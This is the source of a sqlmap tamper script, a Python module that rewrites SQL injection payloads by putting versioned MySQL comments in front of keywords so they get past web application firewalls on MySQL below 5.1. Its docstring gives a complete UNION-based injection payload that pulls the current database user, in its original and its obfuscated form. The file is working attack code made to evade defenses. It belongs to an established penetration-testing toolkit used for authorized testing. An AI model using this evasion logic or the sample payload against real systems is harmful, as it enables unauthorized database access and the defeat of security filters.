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59 lines
1.9 KiB
Python
59 lines
1.9 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
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See the file 'doc/COPYING' for copying permission
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"""
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import os
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import re
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from lib.core.common import singleTimeWarnMessage
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from lib.core.data import kb
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from lib.core.enums import DBMS
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from lib.core.enums import PRIORITY
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from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS
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__priority__ = PRIORITY.HIGHER
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def dependencies():
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singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s < 5.1" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
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def tamper(payload):
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"""
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Adds versioned MySQL comment before each keyword
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Example:
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* Input: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa
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* Output: value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND 'QDWa'='QDWa
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Requirement:
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* MySQL < 5.1
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Tested against:
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* MySQL 4.0.18, 5.0.22
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Notes:
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* Useful to bypass several web application firewalls when the
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back-end database management system is MySQL
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* Used during the ModSecurity SQL injection challenge,
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http://modsecurity.org/demo/challenge.html
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"""
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def process(match):
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word = match.group('word')
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if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
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return match.group().replace(word, "/*!0%s" % word)
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else:
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return match.group()
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retVal = payload
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if payload:
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retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal)
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retVal = retVal.replace(" /*!0", "/*!0")
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return retVal
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